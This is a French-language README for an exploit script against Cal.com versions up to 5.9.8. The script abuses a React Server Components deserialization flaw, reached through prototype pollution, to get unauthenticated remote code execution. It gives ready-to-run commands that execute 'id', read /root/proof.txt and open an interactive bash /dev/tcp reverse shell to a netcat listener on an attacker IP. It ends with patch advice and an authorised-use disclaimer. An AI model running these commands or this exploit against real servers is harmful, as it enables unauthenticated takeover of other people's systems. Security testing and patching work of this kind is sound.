
Exécution de code à distance non authentifiée dans Cal.com
<= 5.9.8 via la faille de désérialisation "Flight" des composants serveur React —
"react2shell" (CVE-2025-55182 dans React, CVE-2025-66478 dans Next.js).
Cal.com embarque un Next.js 15.x vulnérable. Une seule requête non authentifiée POST / accompagnée d'un
en-tête Next-Action et d'une charge utile Flight multipart fabriquée parcourt une chaîne de pollution de prototype
(__proto__:then + constructor:constructor) jusqu'à un eval côté serveur, atteignant
child_process.execSync. La sortie de la commande est renvoyée directement dans le champ
digest de l'erreur RSC. Aucune authentification, aucune interaction utilisateur — une seule requête conduit à une RCE.
<= 5.9.8 (Next.js 15.x / 16.x App Router avec RSC)5.9.9 (met à jour le Next.js embarqué)3000pip install requests
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
La commande ponctuelle renvoie sa sortie directement via le digest de l'erreur RSC. Le mode --shell
déclenche un reverse shell bash /dev/tcp détaché par setsid (le conteneur cible est
sous Debian et fournit bash).
Mettez à niveau Cal.com vers >= 5.9.9 (tout Next.js corrigé : 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7). N'exposez pas le gestionnaire de fonctions serveur RSC à des clients non fiables
et ne lancez pas le conteneur de l'application en tant que root.
Réservé aux tests de sécurité et à l'éducation autorisés. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez explicitement l'autorisation de tester.